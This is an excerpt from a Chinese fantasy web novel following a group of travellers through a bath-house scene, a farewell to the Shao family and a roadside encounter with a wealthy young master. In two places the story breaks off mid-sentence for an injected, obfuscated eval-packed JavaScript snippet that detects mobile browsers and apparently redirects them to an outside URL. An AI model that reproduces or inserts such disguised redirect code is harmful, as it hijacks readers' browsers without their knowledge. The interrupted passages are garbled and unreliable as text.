他也是其中之一,咕咕不过是一只曾在竹塘旁失足落水的猫头鹰,后来被席湘筠救下,可他却并不懂得养它,毕竟是应野外而存的飞禽,救了它后好吃好喝养了几天,便挨着不走了。 席湘筠也不会一直待在竹塘,于是就将它寄养给了芦荻秋,听闻芦荻秋身边来了个小男孩,西羌人士,因战乱逃至四方,无意中与古泛舟结缘,乘舟而行时,男孩说自己无姓无名,古泛舟就为他取名兰桡,言谈之中,兰桡知晓了古泛舟也是西羌人,一路依赖于他,一同来到了楼台山。 兰桡没几天就将这猫头鹰驯服的服服帖帖的,说是能懂万千禽言兽语也不为过,这般异术旁人也学不来,但几位门主依然非常重视兰桡这个孩子,因为太傲,虽然表面看来无异样,但是总能察觉到,兰桡假意给他们倒茶捶背,甚至都不是出于本心。 他们知道,兰桡并不喜欢这个地方。 倏然,楼少渊只顾好奇,开始神不知鬼不觉的上前伸手,摸了摸他的发丝,这道触感异常柔软:“你头发怎么变白的?我帮你拔掉几根吧?这样就不会闲着了,你也不会觉得我闲了吧?” 兰桡连忙抱头退出几步:“不要!我这是吓的!” 见他的姿势还僵持着,楼少渊见他尴尬的有些慌乱,寻思说:“被吓大的啊?这么一说?我那会在林子里的时候,说到那件熊瞎子的事,其实是随意开玩笑的!编的!你也被吓到了?不能吧?” 兰桡慢慢放下双手,看了看自己的掌心,又转身去戳泥土,苦笑着说:“不是这个啊……” 楼少渊上前一步,微微欠身:“哎诶?那个……如果真的是这样子,对不起啊兰桡!当晚真的是无意之言!好在我记住了,不会再犯了,毕竟你也还小嘛……我也不能欺负你是吧。” “别理我。” 兰桡的圆圈又开始扩大了,肯定是想画个圈圈诅咒他,楼少渊好像看懂了,最后独翊在不远处向他招手:“楼兄!前来沐浴啦!” “好说好说,你先消消气……消消气!不烦你了。”楼少渊拍了拍他的肩膀,最后一步三回头,见兰桡还在画圈,侧身就进了屋子,是间浴房,里头极为宽敞素净,一处浴池周边围着屏风,扬言惊叹:“我就说女孩子调适的温度才是最适合我的,我的肌肤也是无比的娇嫩啊!洗尽尘埃后,估计也是跟剥了壳的鸡蛋一样嫩……这是乌木屏风!竟有玉池汤泉!” 乌木屏风分八扇,折屏而开,半围池边,采用浅浮雕式,临近浴池前所雕斫的是一面山河波漾起江雪的景象,瑞雪如雨纷至沓来,每扇可论作一处经典,木质难得,并无着色彩绘,黑红锃亮到仅上了一遍漆,极为细腻,返璞归真,令人过目难忘,虽不如深浮雕明目,倒也别开生面。 独翊心想细琢:“雪徒儿家总是让人眼前一亮呢。” 忽然忆起那件红衣,情急之下还留在芦荻秋的房中,正要去取,外头就已经有人送来了,是雪徒儿,还没等独翊要道谢,便看不到她的身影了。 独翊还觉得奇怪,一旁的锦玉欲要上手帮楼少渊解衣,心感不妙,只穿了一件,还是独翊的那件锦衣,赶忙捂住上身,总感觉他不怀好意:“呃…你想干嘛??!” 锦玉面无表情的揽过他身上的衣物,不假思索地告诉他:“衣服只能用来蔽体,不用来避我。” 楼少渊不敢吱声!一把夺过衣物挡在面前,隔绝了他的脸,面带苦楚地寻求独翊帮助:“哎哎哟啊!!!独翊救我!有变态啊啊!!你看看这人说的什么胡话!吓死我了!” 听到动静还是慢了一拍,独翊显然是没捕捉到这一幕,上前一步,对锦玉好声好气的说:“呃!我们暂且还是……各退一步。” 锦玉忽而放下身段,低头颤声:“抱歉。” “下不为例!”楼少渊毫不犹豫地收紧衣服,跑到池边直接跃到水中,不知水温如何?霎时被惊烫的一蹦三尺高,惊魂不定的在地上滚了滚,尖叫大喊:“啊啊啊啊啊!!!好烫啊啊!救命!” 独翊和锦玉齐齐抬头,注意到外头的动静,不经意听到了一丝孩童的嬉笑声,他打趣着说:“楼兄不是才扬言女孩子调适的温度最适合你了吗?” 楼少渊脸色大变,直躺地面降温,直到小腿处有疼痛感传来,呲牙咧嘴地捏紧拳头,暂时忘记了大喘息,捶地抱怨说:“谁能料想到这么烫?!是谁放的水?不会是她?!那定是兰桡!!” 独翊故作淡定的笑:“那可不一定,刚才出门的第一人可是兰桡,雪徒儿还在房中。” 楼少渊拉下脸来,极其不信:“你该不会怀疑是她倒的热水吧?” 独翊并没有表明刚才的事,又是一笑:“刚才不是讲到雪徒儿的性子吗?其实也并非你想的这样,她只是表面上看去比较淡漠。” 楼少渊大吃一惊,心中瞬间气消:“啊?开什么玩笑?你是说她一路走来,这种性格是装的!” 独翊婉言摇头:“也并非如此,只是她与人相处之时不容易熟络,我与她同是心绪内敛之人,相处起来皆是细水长流之风。” 楼少渊好奇追问:“真的假的??你怎么会知道?我想你们才见过吧?就那么笃定人家是外冷心热 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15087014|163586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的性子?” 独翊凝神注视着那幅屏风,过了一会,前去理齐了两人的衣物,放置近旁,回忆那幕挠了挠腮,有些不好意思的说:“自然不假,兄长也很喜欢雪徒儿,多年来,他知道我喜清净,又怕我孤独成瘾,也会给我写一些有关雪徒儿的趣事,所以我才清楚不过了,正如兰桡所说,她为人好强,芦门主也是关照她,就从来不给她安排难事,虽为此愁颜不展,但我希望她能走出来,我也并不是料事如神,而是因为我与楼兄相处的那些年,开端也如雪徒儿一般,最后也是与你相反相成,令我也想不到的是,雪徒儿的性格和幼年时的差距有些大,我记得她幼年在竹塘时,四人与她作伴,经常给她做很多玩具,按道理说,她的性格应当是幼年活泼时那一派的。” 楼少渊暗自放声:“那她岂不是团宠?” 等到独翊揭衣下水时,心想也确实是这个道理,于是半带轻笑,最后侧脸相迎:“她年幼离家,本该厚待。” 楼少渊挪着碎步近身,盘腿坐在池子边缘,扇了扇上扬的水汽,捧着两颊轻叹:“你是个聪明的妖怪。” 独翊并不避讳,谈笑而道:“就像如今,你说我是妖怪时,我已然接受,这下温度就很适宜了,你还不来吗?” “来了!” 楼少渊原本想和独翊同处一侧,可是想到那番景象心有余悸,又绕到一边,抬脚沾了沾水面,试试水温到底如何了?适宜后,终于光着上身扎入水中,刚想挪得近些,自觉又离独翊有些距离,最后游得远远的,形成了三角对峙的状态。 锦玉只好又离远了些,虽然不能碰水,倒是可以用灵力维持一番,为了不被看出异样,也选择洁净自身,他说的这句话,忽然回想起未化形时,他蹲守在花禅穆一身边,目不转睛地看着他脱衣下水,当时的花禅穆一觉得他只是只灵兽,并未察觉到有任何不妥,未曾顾及自然不避讳,如今修身成正道,融入世间,一触及旁人心灵,这番避而远之,更是有理也说不出了。 真是太莽撞了。 正当三人面面相觑,不知何言,到底谁先开口起头?不容多想,这旁的楼少渊却立马呆住了,是见鬼了?开始显得语无伦次:“独独独翊……你你、你的头发!变样了!” “我的……头发?” 他刚放松下来,正神游天外,舒适的放空着,听他这么讲,突然就注意到发丝从上至下化白!眼睛倒是漆黑点墨,不过几秒,楼少渊上身都在暗暗沉底,只露出一双眼睛,细细的打量着两位白发男子,看他俩的发丝似乎被烫的微卷出来,有一种说不出的感觉。 或许是独翊一路走来的精神都颇为紧绷,想必这么多年来,好久没有那么放宽心了。 锦玉若是不笑,那便是将脸埋在阴影当中,银瞳转暗,眉间邃显阴柔之气,若是笑了,就是有点刻意合群的模样;独翊总是一副似笑非笑的模样,注意力经常挂在别人身上,所向之处也是带着笑,丝毫不会让对视的人失措,他们的风貌则是生来如此,恍恍池中艳影,照影亦虚亦实,皆是瑞相双绝,犹有冠绝尘俗、颠倒众生之相!真是当之无愧的妖孽! 并且这两个人都有个共同点,那就是都害怕被人看见真身!并且误以为对方是否因为他们是妖族而不喜! 看着两张极为赏心悦目的脸,楼少渊脑海里忽然冒出了一个奇怪的念头,瞬间百感交集:“你们这般容貌,是可以随意变换的吗?” “是。” 二人异口同声。 或许是水中温度过高,更让他的脸颊浮起一抹红晕,楼少渊正面向二人,着实惊艳,不敢直视:“那个……真的什么都能变幻吗?” 话落,聚起的水雾染上浓睫,独翊的目光侧移后又弹落几滴,像是看出了些什么,不管是什么,总不能真合他意,笑意渐浓,貌似婉拒了:“抱歉楼兄,如今独翊灵力低微,只能维持青丝之色。” 锦玉并不认为冒昧,倒是让湿润的一侧发丝遮住了一边眼睛,另而,那只淡瞳细细地观察着他,反而增添了一丝妖潋含情:“楼公子是讨厌锦玉的这副面孔吗?” “不了……没有,挺好的。” 有些败兴而归,楼少渊默默沉底,不敢再言,其实他心中想的是,若能变成楼半仙的模样,大可以让兰桡认一认,是否与他所认知到的楼不已到底有何相似之处? 如果楼半仙真的是那位天才呢?简直是不可思议了。 25. 叙离愁 洗浴完后,楼少渊还是重新将那件锦衣穿回身上,换了身裤子,先行大摇大摆地走出来,不过也没有像之前那么大肆宽敞着了,这边的独翊和锦玉还未出门,原来二人是要将浴池的水放了,再刷洗两遍池子才肯罢休。 锦玉认为自己是外人,这种事情不能麻烦别人,毕竟借住一晚就已经很冒昧了,而独翊在家十指不沾阳春水,昨晚吃了一碗阳春面,今早又给下了一碗,刚想着留下打理,可啥也不会,要是这等习性传到独淮客耳朵里去,当真是不雅了。 为了留个好印象,最终投向了浴池边,顺势将几人的衣物也洗了,锦玉原本不想麻烦他,独翊就说不会麻烦,两人又为了洗对方的衣物而暗自争夺了起来,坚持不让对方动手,最后楼少渊笑道,心想至于那么邀功吗?于是十分熟稔地将自己的裤子递给去,让两人分持着一边洗刷。 两位少年早已在外等候多时,邵为雪换了一身行装,与兰桡身上的衣物相近,同属玄色,衣领旁有道黑紫色的蜀葵纹绣,投去眉目流转之间,更衬得她清冷,一手中挟剑,不可动摇地靠在柿子树下,直视前方,还有个趴在井边的兰桡。 不知究何原因,今年的柿子结出的果实极为少量,见无柿挂枝头,就只剩枝干可采折,其实邵氏夫妇俩也不喜贪此物,前后将生柿子摘下,让它们与苹果同放一处催熟,后脚便送人了,哪能还有留存?更不知家里的孩子哪天能归家?这次来的措不及防,走的也措手不及,这些天才没有吃上,于是两人开始盯着一株种在陶罐里的山橘小树,这小苗不再高长,像是安分守己的安栽此地,虽已结果,却小如金丹,皮甜内酸,酸涩之感顿如口中泉涌,不敢再视。 循着视角看去,楼少渊好奇上前摘了一颗山橘投入嘴里,含入口中时咬破表皮,眼下微眯,显然第一下就被酸的受不了,为了不让人察觉到异样,还是忍下酸意了。 邵木匠抱着一堆橘子和烧饼从厨房的方向赶来,背后还挂着一个包袱,右手肘下也挂着一个,像是打包稳妥了,看着沉重无比,近旁的楼少渊顺势接过,沉的不好走动了,见他吩咐说:“你们别急着走啊,给你们带着吃的,路上吃,再往下走就是天禄城了,在此之前还要经过好几个村子,最近要举办庙会,各种美食都有!你们停留几天好好玩,回到潇湘后,记得让你师父也好好吃饭,兰桡也是!你们也要多吃一点。” 看他交代完后,邵为雪点头回应,欲言又止:“知道了,你和娘也要注意身体。” 邵木匠心满意足的笑:“好好!” 兰桡也上去,前后接过他的两个包袱,微笑着问:“我知道了邵伯伯,邵夫人呢?” “她在屋子里,不知道忙着赶什么?折腾了一晚,哦!才想起,当初就是和夫人在天禄城认识的,我去看看,还得问问她,我们相识多久了?也要看她记性如何。” 既不知所以,听兰桡那么问,也赶着去看夫人在做甚,于是邵木匠掩嘴偷笑,匆匆回到那道门内。 半晌,两道门同时打开,锦玉先行走了出来,洗浴时耗费的灵力颇多,如今又是太阳高照,又让他刺激到睁不起眼来,当下气喘之声愈烈,只能拿半袖遮挡,陡然另一扇门也外开,邵木匠探出脑袋,外头瞧见眼前人,朝他招了招手,说:“诶!这位公子?请留步!我夫人有东西要给你!” “是我吗……?” 并无太明显的指认,锦玉心中一愣,见旁人都不回应,只能小心翼翼的一手反指自己,有些难以置信,逐步试探,见邵木匠点了点头,确信是他,这才被楼少渊轻侧着身,挪着步子推搡着去,撅嘴说:“哎!是锦玉!去吧去吧,你也有好东西。” 锦玉入了那扇门内,再出来时,掩上了一条白绸带,原来邵夫人早察觉他眼睛有异样,于是连夜寻料为他做了一条白绸带,此物覆眼细腻柔软,毫无异感,他道过谢后,想起邵夫人为他系上绸带时的情景,神情恍惚,稍稍不太自然,他久久不能回神,侧首看向门内。 见无人注意,又将那块玉石从袖中隐散。 锦玉多了个新物件,兰桡也是惊奇,只好不当回事的耸了耸肩,不服犟的说:“邵夫人真好!这次回来的师姐都没有好东西呢,也是让你享到福了。” 楼少渊格外敏感,嘟囔道:“拐弯抹角什么?什么话?锦玉那么天真善良,邵夫人想关心他也不无道理呀,你怎么老是看人下菜碟?就嚯嚯我们几个年轻人?老是在长辈面前装可怜?不知道的还以为我们一路来都在排挤你呢?!出了这道门,谁还会惯着你?” “哼!” 一语命中,兰桡的脸色越来越难看,闷声不响不语,一气之下将井盖掀开,将包袱一甩,双手垂落至井内,上半身悬挂在井中,假意装死,邵木匠赶紧上前将他捞起,告诫他这么做十分危险,往后万万不能了。 锦玉笑着表示自己也很满意,朝屋内又作揖了一阵,说:“很感谢邵夫人将此物赠予锦玉,锦玉也很喜欢。” “好重呀。” 楼少渊像螃蟹一样横着走,朝锦玉那段路挪了挪,正准备接近他,锦玉心领神会,伸手接去了大半,这才放得他一身轻松。 “瞧我这记性,忘记了,这些东西确实很重,给的不多,你们途中分一分就轻松了,那走吧,走起来就忘记沉重了。” 邵木匠笑容可掬,一路将二人指引到门口,忽然想起自己年轻的时候,同别人将木柱抱到另一处,那时候总没劲,有人问他为什么老使不上力?是不是想偷懒?他说天生就这样,腕就细,又说做事细弱无力,同舍首先总能想到他,加上外来言语不通,时常戏称他为“南蛮子”,可他却听懂了,只得装聋作哑,传他一张白净脸岂能干粗活?后面过活久了,有些雕刻手艺显露人前,手上的印茧子加深,想留长须,做仙风道骨那般,也留不成,就把自己扮的实在点,令人可信度也抬高了不少,以至于后来的学徒,终于开始唤他师傅。 兰桡忽然顿了顿,这才明白邵夫人并没有出门为他们送行,后知后觉,有些不如意:“我们不跟邵夫人道个别吗?” 言罢,大家似乎很在意打招呼这件事,邵木匠不紧不慢的开口回应:“这次看见你们能来她也很高兴,这几晚高兴的都睡不着觉,她感情丰富,与人离别总是容易伤感,以后见面的机会多的是,要是真看着你们走,可能会更伤心。” 邵夫人的性格跟谁也不像,这几年与谁也说不上几句话,毕竟多年来,家中只有一个孩子,却不恋家,芦荻秋养成了不爱说话的小雪,这几天的小雪虽然接不上话,却总能听到母亲在耳畔叽叽喳喳,旁人要是知她趣味,那便是猜测得了要论口舌的疯魔病,嘴狠的人也得找个有个心眼的乱舌头压她一头,她才觉得有趣,要是辈分小了,别人又不敢接她的话,促不成幽默便没了风趣,至今邵木匠也没搞懂她的性格到底用何种法子才能进行互补。 难道真是她不敢出门送人吗?其实总会失去一些遗落的东西,这些年能讲话的人少了,她就把自己藏起来,心里便丰富了,有一天终于团聚,和日思夜想的人聊天,就想把以前藏在心里的话脱口而出了,可盼来的人又要走了,终究是要离别的,固然不舍,以此反复,邵木匠掺不进去的时候,邵夫人早就暗地消化了。 最后,楼少渊低头给自己塞了个青枣,一直卡在唇齿间,先行走了出去,含糊不清地说:“辣窝去路孔等独翊。” 见独翊还没有要出来的意思,兰桡瞬间懂了,又对着那扇门后白了又白眼,吐了吐舌头:“假勤劳。” 闻言带有一丝戏谑,邵为雪斜眼斥道:“别太无礼,走吧。” 兰桡收了声,提着包袱边走边凑上去问:“师姐,你怎么不去跟邵夫人打声招呼?你们一年到头也见不到几次面,这次留的时间太短,这下又要走了,她会更伤心的吧。” 邵为雪略显迟疑,其实早在回家那几天,邵夫人就已经拉着她讲了好几夜的心事,那些声音还是言犹在耳,即刻摇头说:“早前我与母亲在此多番叙谈,言尽于此,如若亲眼辞别,最后更将是不忍于心。” “那好吧。” 想起师姐早就是个淡然置之的性子,更不知怎么好言相劝,自己虽然也很想和邵夫人打招呼,但心里还是哽哽的,像个生客,但愿下次来,自己也能多住些时日,临走时,也能像这家孩子一般,挂上两行热泪去跟她道别,兰桡一步三回头,不情不愿的离开了宅中。 见独翊终于出门,变换青丝之相,穿上那身红衣,颇为喜庆,将那锦香囊系回腰上,来不及托人晒干,囊里头还可收拢原先那些衣物,邵木匠又笑了起来,还留下一个橘子在手间摩挲细转,开始支吾:“独公子既是小雪的师叔,这其中之路,还望您多费心。” 独翊言笑自若,耐心道:“那是自然,雪徒儿还且年幼,往后我必定多加看顾,以我对她的了解,她也能时刻应对,收敛自如,邵伯不必担心。” 听他强调了许多,邵木匠终于舒心说:“那就好,真是有劳了。” 说罢,独翊拜别,欲要离去,隔了一点距离后,邵木匠接连喊了他一声,将那橘子投给他,独翊转身扬手,稳稳接住,察觉到那幕,看向慢慢从屋内走出来的邵夫人,她接连抹泪,愣着一瞬后又清醒过来作揖道别。 走至途中时,有动静传来,那人从后方越过,猛地跳到了四人跟前,挡住去路,跟上来的却不是独翊,原来是木耳蹦了出来,一手叉腰打量着,强睁着那双大小眼,今日终于将身子穿得保暖了,盖的无比严实,手拿铁铲招摇过市,如同那土山贼,他冷笑说:“邵小雪!终于被我逮到了!你说话可真好听!没礼貌的小孩!最讨厌你了!快为之前的大不敬道歉!没准我还可以饶你个无心之过!” “大小眼?” 楼少渊喜从天降,刚要冲上去,木耳以为他又要攻击自己了,立马跑向后方,他一接近,他又绕远,和他说话可不清静,定会闹出事来,才不敢理会他。 楼少渊也不知哪里得罪他了?难道还记恨昨日打了他那件事?!太小题大做了吧! 木耳紧接着撞到兰桡,他嫌恶的白了他一眼,将包袱收拢到一边护住,眼里满是嗔怒:“臭乞丐!怎么又是你!” 注意到了兰桡,木耳走到近前看,又大退回来,微微得意,趾高气昂的嘲笑说:“呦呦!小冤家,又见面啦!这不是童养夫吗?咋啦?这还没到时辰呢?就要回门啦?” “我才不是什么童养夫!” 兰桡一气之下奔去最前方,独自而行,又是一阵无言,见众人一味的不想理自己,最后关头,木耳终于爆发了,见他们又要走,跳到众人面前,平躺在路中间,大喊大叫道:“要想此路过,留下买路财!” 既是拗不过,邵为雪在他手心放了几枚铜钱,最后匆匆离去,落下一句:“木哥,再会。” “真不枉我看着你长大了,真是长大了。” 木耳手心与指尖并拢,摩挲起声,听了听铜钱的撞击之音,于是美滋滋的收下,还未定神,刚想追上前去,躺在前方的路中央,没来得及起身,侧头看去,却不料有人的脚步随意,却也出奇的快,定是不想久留,于是呆呆地看着几人载笑载言地离去。 “再见啊大小眼。” “诶啊……再见。” 最后木耳也抬起手招了招作别,见他们走远,他也慢下步子,不再发怔,甩了甩糟乱蓬松的头发,转身离开。独翊追出门来,恰巧遇到了失魂落魄的木耳往回走,刚才毛躁炸起的头发顿时耷拉了下来,心不在焉地垂头,走了两步又躺在了地上,望着天。 “你好?” 一道红色视线遮住了天,只要余光不去注意,依旧明朗,停留一会后,独翊上前将那颗橘子放入了他的手心,平静道:“我也要走了,这个给你。” 木耳看了眼橘子,直起身子,偏头注视他离去。 经过一处嘈杂喧嚣的村子之后,也有人站在街边去论天禄城庙会这件事,既是热闹地,谁都想去看一眼盛事之欢,求得祈禳之法,沾一点福禄之气,不过眼下的气氛好生古怪。 年轻人就是食欲好,吃完了烧饼脆枣,就剩两个包袱,有人要食,他们抛给了邻街的乞丐一些,兰桡和楼少渊二人,早就跟暴发户相差无几,撒吃食也跟撒钱一样随意,剩余的就交给身后的锦玉和独翊了,一人一包袱,可他们走的慢,还是被多数人冲撞的无地自容,贴身又拥挤,还好有身高优势,目光还是追随着他们走,是前方年轻人步子乱飞,只有雪徒儿停下等待,那俩才停一停。 “姑娘一路人从哪来?” 觉察声音是对着自己,邵为雪听声辨位,右转一探是辆马车,侧窗敞开,里面有位清俊男子朝他挥手,于是抱拳致意:“东阳。” “原来是位东阳美人!给!当真是一众不凡。” 公子哥从车内挑了枝杏花递给她,她连眼色也没给一个,毫无柔情可言,头也不回的踏上前路,于是公子哥戳了戳兰桡的肩头,想要让他试着给她,兰桡抱手轻哼一声,跑到邵为雪身边去,于是就轮到楼少渊了,他负手上前,两方打定关系似的,互相笑了笑,总觉得对上默契,刚要作势接过,却没接住,那杏花一不小心掉在了地上,不知有心还是无意。 不管怎样,意有所指不假,掉了一枝不妨碍,公子哥笑笑,转头又从车内拿出一枝,再递出去时已经不见人了,再看时,见兰桡后退几步,假装踩了这地上的花一脚,楼少渊也看出什么了,也转头顺带踩了一脚,来回磨了两脚。 得势后,两人又嘻嘻哈哈地奔上前去。 公子哥一眨不眨的看完这幕,真如兄友弟恭,好生默契,也有些咬牙切齿地说:“你们也太不尊敬人了!” 楼少渊倒是看破了,极力怂恿他破门而出,最好给自己点颜色看看,调侃道:“这攀龙附凤可不好,这没诚意的东西要了能怎样?你是瘫了还是怎么了!就不能走出来?按我说,莫不是个闺男吧?” “我也很为难啊?!那我钻出来。” 被他那么一问,公子哥低嚷着,激起气势汹汹的性子来,他两手已经悬在外头,头也伸出去了,可窗户实在是太窄了。一旁的阿童不敢置信,瞬间慌了,急忙将他的头按了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15087015|163586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进去,一脸哀怨的解释:“坚决不行,实在太冒昧了各位!少爷太顽皮,一路走来除了解手如厕,基本都是在马车中度过,还是不要叫人为难了。” “他还撂下一枝红杏,是何意味?”楼少渊案自琢磨,有意无意之间在兰桡耳边念叨,兰桡只觉得这人好玩,还没想到深处去,他是随意捋了枝杏花?不得了!他是不是对师姐有意?他喜欢师姐?那师兄怎么办?他是孔雀!他在开屏!他递红杏?他暗示师姐? 楼少渊踢了踢他,终于打断了兰桡脑海中的浮云泡泡,扬声道:“你又在想什么呢?你师姐都走远了。” 兰桡蒙上愁色,好似乌云盖顶,连忙大喊道:“师姐!你可千万别答应他!你还有我和师兄啊!我不要你出墙!” 等到兰桡跑上去追问,邵为雪觉得他还不消停?那道眼神片刻之间,就变得极为骇人,杀意尽显,恨不得一拳劈死他,面露不悦:“我何时答应过他了?你脑子里想的都是些什么乱七八糟的?再敢言语不当,乱用成语!就别再跟着我了!” 兰桡嘴里还含着糖,一听她这么说,气鼓鼓地抓住邵为雪的衣角,一副听她差遣的模样:“不要啊!我就要跟着你!” 于是,又跟个小尾巴一样缠在她身边,晃晃悠悠地走了。 公子哥一手捂着脸,一脸生无可恋:“阿童!你凭什么这么对我!我是你少爷!你懂吗?” 阿童知道旁边这人少爷脾气,可耐不住是个真少爷,连挖了一路耳朵,都要起茧子了,懒散道:“阿童知道。” 公子哥朝外大吼,呲牙咧嘴的骂道:“你知道有什么用?有那么对本少爷的吗?她都跑了!” 阿童无奈斜眼看他:“老爷之命,恕难从命。” 后面的独翊也顺着脚步跟了上来,行若无事的揖首:“雪徒儿尚年幼,无心恋花,还请公子不要再跟着了。” 公子哥将视角锁定他,感觉是个会说话的,又开始追问:“我没跟着!我也是和你们一路的呀!这位公子,你也是和这东阳姑娘一路的吗?她叫雪徒儿?难不成认识?那也是要去天禄城逛庙会吗?那也是我家的路啊!要不你们上车?我这宽阔的很。” 思量片刻,独翊回过神来,淡定的说:“天禄城?是有个印象。哦,在下是她的师叔。” 公子哥合掌,作信服状:“师叔!我真的好喜欢她!帮我求求情吧!你就跟她说,算是我一厢情愿的好不好?是我无礼了!你们就上来坐坐吧,一路徒行累不累呀?!女孩子家肯定累了吧?” 话锋一转,独翊将笑收敛:“不可。” 公子哥犹疑,瞬间变脸:“为何不可?” 独翊婉拒:“一日之面,强求不得。” 公子哥不在意的摆了摆手,心里有底多了:“哪是这样!这么说吧!我是一见钟情!我有钱!我能和你保证,出了这地,进了天禄城,我保你们一路人的身家富贵,你想要什么,你开个金口,我给你弄来,什么金玉美人,珍馐美馔?你要是说得出口的,我也未必没见过!” 还没来得及问,楼少渊就啃着一根糖葫芦,莫名其妙的倒退回来打岔,作古正经说:“他可比你有钱多了,又是品貌不凡,说是京城来的,你怎敢有胆和他讲话?” 一听京城二字,公子哥立马来了精神,忍不住好奇说:“哎呀!原来是京城人士?那可不一般了,我以为你们是一路的,他是谁呀?” 楼少渊装作不想自讨没趣,挥了挥手作别:“哎!你自己问他吧。” 公子哥和他相视,独翊还有些底气不足,便开口了:“在下独慎之。” 难得是“独”姓!公子哥像是想到了什么,直拍脑袋,恍然大悟,终于换了一副嘴脸:“卧槽!我知道你!你就是那个!独淮客的弟弟?!独慎之?!果真名不虚传!” 闻言一愣,独翊眼里有些惊讶:“你也有所闻?” 公子哥颇为自得,刚想伸出握手,与他一道寒暄,可怎么握都不太正经,尤其是心里不太舒服,这会却声如蚊蚋:“那是自然!这些年南北两方流动,也是听过一些的,今日一见没敢想!要不你去我那坐坐?我爹和几位叔叔近日……” 见他还没放弃,独翊每来回一步,他的马车向前挪了不过十寸,像是大伙都挤在前面堵着,真不如下车自己动手走了,独翊又一会顿步好言:“若是公子的接风宴,我们今日手袖空空,又是身无长物,这一去反倒也不合礼数,只待他日有缘再相会。” 说罢,独翊又努力微笑了一下,好似如获大赦,没等公子哥反应过来,与锦玉双双消失在眼前,各自逃散开来,混入人群中后,就彻底摆脱他了,独翊和兰桡立马敲定,绕了另外一条路走,虽是段远途山路,若能杜绝与此人和雪徒儿与师姐接触,再远点也没关系。 “哎哎!别走啊!误会了!你们可以在路边买点啊啊!我会给你们钱!喂哎啊!快快!阿童快追!快追上我的美人!她要跑了!她要和别的男人跑了!” 公子哥按捺不住扒窗朝外探,可始终敌不过旁人脚步,按着两边就要从窗口钻出头来,侧看一帮人的身影淹没在人群中,阿童也跟着急了,急忙将他的头推进去,可见他力气着实不小,难道是少爷头太大了?正想着要不要再加牢固点,两面密封性还是有些强差人意,四处张惶说:“不行啊少爷,我们的马车太大了,今天人流多又密集,挤不出去啊!” 事到如今,只能眼看着他们越走越远,公子哥不愿动弹了,也不挣扎了,开始生无可恋的斜头靠置在窗口,魂不守舍的转了转手上的杏花,咬牙恨道:“这破锁真是坏了我的大事,东阳美人这四个男人!我瞧着不似常人,到底谁会和她有瓜葛?” 阿童津津有味的去做推测,按照自己的想法如实坦白:“那个羊干瘦子不像,有点像她弟弟,那个傲气十足的少年,说话不着调,倒像临时出来混的,那个独慎之有点像她长辈,还有那个白毛!感觉……不太好欺负,反正是你想太多了,少爷忘了?东阳美人千千万,阿童记得你也认识一位东阳姑娘呀?叫什么来着?少爷小时候偷喝青梅酒就是因为她?你当时喝醉了,还说一定要娶到她呢?!” 听着就来气,公子哥顿时不满:“叫嚣什么呢?我什么时候有过青梅了?喝了两杯青梅酒就蹦出个青梅?就算有!如今只能算是红颜知己!就算我是真喜欢,那也只是童言无忌!反正我不管,必须彻查下去!” 想到这也哄不好他,阿童转了转眼珠,心下终于有一计,只得说道:“少爷莫慌,天禄城的这次庙会早已人尽皆知,我想着他们也是奔着去天禄城的,到时候或许真的能见到呢?以你的身份,到时候在庙会之上亮出,亮瞎他们的眼,再请他们搓一顿,定会对你刮目相看的。” “那是!”其中一听他们有意要去庙会,那公子哥瞬间来了精神,抓狂悄然停止:“什么?!他们也会去庙会?!那快快!快马加鞭!我要回家!” 终于有心把他哄回去,可人群都拥挤在此地,试想,这几日到底有多少人是要去天禄城的呢? 今年的庙会,到底能琢磨出多少新鲜事。 26. 叹长生 再行二十三里,皆是山林,毫无人迹,却有许多人为之物,好比有多方小庙分布山间遍野,小庙简易为石砌,却不能容纳人,香炉烛台泥塑仙皆有,这倒是想起,有些香客会请求在寺庙中安睡一晚,向神佛请愿,如果有人觉得在大庙睡了几晚不显灵,托梦不成,就会有人自带香烛果饼,走上一段山路,来拜奉山里的神仙,完事后也不走,偏要在小庙里睡上一晚,一说越偏门就越显灵,或许神仙就会托个好梦。 山间小庙多为无主之地,被称之为“阴庙”,何况是人迹罕至的深山,又叫不出山名,有人甚至听信谣喙,好话说尽,最后想求财的拦不住,非要去见识一般,忌讳之人本不想久留,于是久而久之,敬而远之。 “无处寻仙,愿显真灵?” 直至前方,有一处山茅草屋,里头漆暗无光,隐约有牌匾立于室内中堂之上,门外有一道八字石碑,皆为篆刻,划痕也落下不少,底下还刻着很多蝇头小字,倒是很像人名,楼少渊擦了擦石碑上的泥沙水印,摇头说:“还不如到此一游实在。” 锦玉稍微想了会,思绪淡然道:“应该是当时修建此地时的留名。” 楼少渊原本是蹲在旁边细细观摩,没过一会,脸都要贴在石碑上了,像是看到熟人一样,惊奇地瞪大眼睛,表情来回变幻:“哇!竟然有个人和你一样姓独!果真是亲上加亲,也有姓檀的,奇怪,也有姓道的?怎么建上一座草屋,也要有那么多人?这也不同姓,按理说都是一个地方的,至少都是同村同姓的多,怎么这么多外来姓氏。” 原来那留名处,一人唤檀行故,一人被称之为道花枝,他斟酌品味,刚想着后者唤“花枝”好浪荡,却不成这檀行故的名字却刻的歪七竖八,就像刚学会写字一般,也不知为人是否收敛。 